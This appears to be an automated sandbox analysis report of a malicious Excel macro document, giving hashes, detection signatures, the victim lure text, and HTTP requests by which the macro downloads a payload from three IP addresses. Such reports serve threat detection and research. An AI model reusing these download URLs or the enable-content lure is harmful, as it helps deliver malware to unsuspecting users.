Loading ...

Play interactive tourEdit tour

Analysis Report Outstanding-Debt-1840996632-05042021.xlsm

Overview

General Information

Sample Name:Outstanding-Debt-1840996632-05042021.xlsm
Analysis ID:404162
MD5:0276be45120eeb640587451db55759cb
SHA1:51424cff72ecb039f78d5005a03ec2882a96d7dd
SHA256:06c9a8f5da75ebc77f7528ceb2797050ba17cc2c7e36467b0d259d4f48dbbcbf
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:64
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malicious Excel 4.0 Macro
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Found Excel 4.0 Macro with suspicious formulas
Allocates a big amount of memory (probably used for heap spraying)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 1948 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXESection loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA
Source: excel.exeMemory has grown: Private usage: 4MB later: 34MB
Source: global trafficTCP traffic: 192.168.2.22:49167 -> 185.183.99.115:80
Source: global trafficTCP traffic: 192.168.2.22:49167 -> 185.183.99.115:80
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.115Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.73.159Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.38Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4FE858.jpgJump to behavior
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.115Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.73.159Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.38Connection: Keep-Alive

System Summary:

barindex
Found malicious Excel 4.0 MacroShow sources
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: urlmon
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 4Screenshot OCR: Enable editing button from the yellow bar above 22 0 Once you have enabled editing please click Ena
Source: Screenshot number: 4Screenshot OCR: Enable Content button from the yellow bar above 23 24 25 26 27 28 29 30 31 32 33 34 35
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: EXEC
Source: Outstanding-Debt-1840996632-05042021.xlsmOLE, VBA macro line: Private Sub Auto_Open()
Source: Outstanding-Debt-1840996632-05042021.xlsmOLE indicator, VBA macros: true
Source: classification engineClassification label: mal64.expl.evad.winXLSM@1/8@0/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$Outstanding-Debt-1840996632-05042021.xlsmJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRCD6C.tmpJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEWindow found: window name: SysTabControl32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: OLE zip file path = xl/media/image1.jpg
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: OLE zip file path = xl/drawings/drawing2.xml
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: OLE zip file path = xl/drawings/_rels/drawing2.xml.rels
Source: Outstanding-Debt-1840996632-05042021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting22Path InterceptionExtra Window Memory Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution12Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol11Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Scripting22Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Extra Window Memory Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Outstanding-Debt-1840996632-05042021.xlsm4%ReversingLabsDocument-Office.Trojan.Heuristic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://51.89.73.159/44313,6048108796.dat0%Avira URL Cloudsafe
http://185.183.99.115/44313,6048108796.dat0%Avira URL Cloudsafe
http://190.14.37.38/44313,6048108796.dat0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://51.89.73.159/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown
http://185.183.99.115/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown
http://190.14.37.38/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Public

IPDomainCountryFlagASNASN NameMalicious
185.183.99.115
unknownNetherlands
60117HSAEfalse
51.89.73.159
unknownFrance
16276OVHFRfalse
190.14.37.38
unknownPanama
52469OffshoreRacksSAPAfalse

General Information

Joe Sandbox Version:32.0.0 Black Diamond
Analysis ID:404162
Start date:04.05.2021
Start time:19:21:10
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 4m 41s
Hypervisor based Inspection enabled:false
Report type:light
Sample file name:Outstanding-Debt-1840996632-05042021.xlsm
Cookbook file name:defaultwindowsofficecookbook.jbs
Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Run name:Without Instrumentation
Number of analysed new started processes analysed:4
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • EGA enabled
  • HDC enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal64.expl.evad.winXLSM@1/8@0/3
Cookbook Comments:
  • Adjust boot time
  • Enable AMSI
  • Found application associated with file extension: .xlsm
  • Found Word or Excel or PowerPoint or XPS Viewer
  • Attach to Office via COM
  • Scroll down
  • Close Viewer
Warnings:
Show All
  • Exclude process from analysis (whitelisted): dllhost.exe
  • Report size getting too big, too many NtSetInformationFile calls found.
  • VT rate limit hit for: /opt/package/joesandbox/database/analysis/404162/sample/Outstanding-Debt-1840996632-05042021.xlsm

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
185.183.99.115Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
51.89.73.159Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
190.14.37.38Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat

Domains

No context

ASN

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
OffshoreRacksSAPAOutstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
284225b9_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 190.14.37.252
HSAEOutstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
kVXWdr5oFQ.exeGet hashmaliciousBrowse
  • 185.183.96.36
t.exeGet hashmaliciousBrowse
  • 185.141.27.225
SSuPgxqQBv.exeGet hashmaliciousBrowse
  • 185.183.96.36
sGdpcwaC54.exeGet hashmaliciousBrowse
  • 185.183.96.147
sGdpcwaC54.exeGet hashmaliciousBrowse
  • 185.183.96.147
ccriZ1jd8H.exeGet hashmaliciousBrowse
  • 185.183.96.147
SecuriteInfo.com.Trojan.GenericKD.36392080.3322.exeGet hashmaliciousBrowse
  • 185.183.96.156
0304_87496944093261.docGet hashmaliciousBrowse
  • 185.183.96.157
0304_56958375050481.docGet hashmaliciousBrowse
  • 185.183.96.157
Static.dllGet hashmaliciousBrowse
  • 185.183.96.157
OVHFROutstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
pd9EeXdsQtNb3dQ.exeGet hashmaliciousBrowse
  • 66.70.204.222
Invoice No F1019855_PDF.vbsGet hashmaliciousBrowse
  • 79.137.109.121
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
SecuriteInfo.com.W32.MSIL_Troj.ASI.genEldorado.27642.exeGet hashmaliciousBrowse
  • 66.70.204.222
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
New Order Request_0232147.exeGet hashmaliciousBrowse
  • 149.202.85.210
Transcation03232016646pdf.exeGet hashmaliciousBrowse
  • 79.137.109.121
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
MZyeln5mSFOjxMx.exeGet hashmaliciousBrowse
  • 66.70.204.222
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
51086cc4_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
8aa43191_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
51086cc4_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
8aa43191_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
840e7dfd_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
840e7dfd_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
94765446_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4FE858.jpg
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:[TIFF image data, big-endian, direntries=5], baseline, precision 8, 1080x1080, frames 3
Category:dropped
Size (bytes):92379
Entropy (8bit):7.654577060340879
Encrypted:false
SSDEEP:1536:1o1vutINbjOXGw548LBkVb/oyrKXkX89DcO9GQSnIv+C1EDFVxkR7Y90:wvKINbjvw548LMb/oqKO8NnS8+60Kc0
MD5:4A425E6A5A885C0D0E2589506FD2244B
SHA1:E23482422480A4720E22F311B42BD65E2F3556F8
SHA-256:76E685FC2035D8CF19945C6686D82054B64D0A9612853D8F428C4B4FE351C160
SHA-512:3C827E13A12CC817CBD80EA7C89BEC5288FD21250728E76E00D6355008F704C77EC9BC37C85FF076D8D1F960DB53741F352AB649CD2C754B71B4D11CFFBEEA54
Malicious:false
Reputation:moderate, very likely benign file
Preview: ......JFIF.....`.`.....ZExif..MM.*.................J............Q...........Q...........Q..........................C....................................................................C.......................................................................8.8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..D.G.\.....i].......k.@U.........B..Hw.A...`p;.RsIRHTs..%G?QU.#..$..."...U.A....g].s......c..,....{W'..M.Nc....F.~..y..l..`.e..a..[...P.y]..k_..CI..z.Ru..s.6.Y....."..1]Q......e#.......~.`sk..KH......p.4.i.j+3{.....N.DS..L.....o..o.5f>..jY.uS...Z.B...UG`)..6D....(.....
C:\Users\user\AppData\Local\Temp\4DDE0000
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):117611
Entropy (8bit):7.688253855601311
Encrypted:false
SSDEEP:3072:GUQgrvKINbjvw548LMb/oqKO8NnS8+60Kcf:GcmAbT648LM7D98Np+Ec
MD5:8BF644FCDC8B70F7191B89479244E0DC
SHA1:AD9B2FD8784A137F5338A0709602125B77AC3CC8
SHA-256:FCCCF22218FD8333F5018C8FA065B8C3E07327C6FBA99472B399110DE5426BE5
SHA-512:1D232AEF4C3FFB3F3FB096B18BBD146FD5A8ADB02A6DB5B6B398ECA30E044376656C2980DA95CC18D43ADBDA0581501CC6A3628A1DD5D2FFD7AA5BA6C4F9A141
Malicious:false
Reputation:low
Preview: .U.n.0....?...".....r.y...I>.&..m.$H...K...$$@.zQ;.3\p..V.K.AYS..:"..a.2uE...._.....5P.5.r=..m..v...6."M..7cA4..@...+3.[.....q..5.....k".X.A&.[.......~.t2U..7...UE.sZ...Q.4..... .xi........VS..2.G.....rz.a..V....Xh..?P....rZ.....T..;..._.A.$....?.E..J.W..Sk..<or..%..h.-.-....>.k\.7Qg.re`.v........$.........5d..............4?{.:.&...,_?>?......B.-CFu....p..1.T.z..cw.!=.M-....}.....3..7...r.......;ap.7.B.e.N[...v......z..T]:........c.`.Nx....W.<..r.O........PK..........!.........*.......[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):162688
Entropy (8bit):4.254306387176089
Encrypted:false
SSDEEP:1536:C60L3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcm48s:CVJNSc83tKBAvQVCgOtmXmLpLm4l
MD5:88F7F362648793B506DCC24F8E112155
SHA1:ED3A39C535BDE48F8681A5B4EB4C4B41FE4E0F6D
SHA-256:6E0692E9B12865A22B7D00E97B733F5489FE2D22114A22C6A8A3C8CCDE704FBB
SHA-512:7DB0B1DB2776813CEB2E107936D1DB4DF0CAF7EB57D97C6EF928500A9DE64732D88A6C87F9D11D1C54D219A38942A574BD658042D5391159643A3D699CF5B32B
Malicious:false
Reputation:low
Preview: MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0*...*...*..\+...+..$,...,...,..P-...-......|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................$................................................................................x..xG..............T........................................... ...........................................................&!..............................................................................................
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 5 01:21:42 2021, atime=Wed May 5 01:21:42 2021, length=8192, window=hide
Category:dropped
Size (bytes):867
Entropy (8bit):4.494402731168856
Encrypted:false
SSDEEP:12:85QVVnLgXg/XAlCPCHaXtB8XzB/VUXX+WnicvbIFbDtZ3YilMMEpxRljKyTdJP9O:85M/XTd6jQXYeE5Dv3q3rNru/
MD5:CEB7D0D783F884CBD71344BFD76C3884
SHA1:BE57C4ABAAC3D78A6B8CCA68823EB300DC0B8357
SHA-256:CAF2C032A581E79456A853570D9294BC8B1ED22DF6343B0F4FB0BC0418FA3F80
SHA-512:69A373598D852A634893E4657FB9C8C75C2493960D23798AF9AA10D08A29ECC7B2008295495AB58639BFFB737FFF03F1BAE204C233AE9C76748BC1BFD320DBAF
Malicious:false
Reputation:low
Preview: L..................F...........7G....cUA....cUA... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R..*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\414408\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......414408..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Outstanding-Debt-1840996632-05042021.LNK
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed May 5 01:21:42 2021, atime=Wed May 5 01:21:42 2021, length=117615, window=hide
Category:modified
Size (bytes):2298
Entropy (8bit):4.564064006154991
Encrypted:false
SSDEEP:48:8//XT0jFyw6iPq86n3Qh2//XT0jFyw6iPq86n3Q/:8//XojFyw6CX6n3Qh2//XojFyw6CX6nQ
MD5:AD3DAF6D5D98A1C3B90BA75E0CC35049
SHA1:67C34C415FA3954EC03ABBB3ADC4EB6D35EE658B
SHA-256:35551B5A39DA74F4B06B0B2938B0992D29687BE30694D1B0F654F9482938BFB8
SHA-512:8C5C9B6AF9D01B154FC613FF0BE471BA6DED1F1BC49146639FB06C1BA5E0D7FD73603A7613DA0D2F1A642DC1C5CD4F358788C0C4A9E1ABC50AA421C5AF2703F9
Malicious:false
Reputation:low
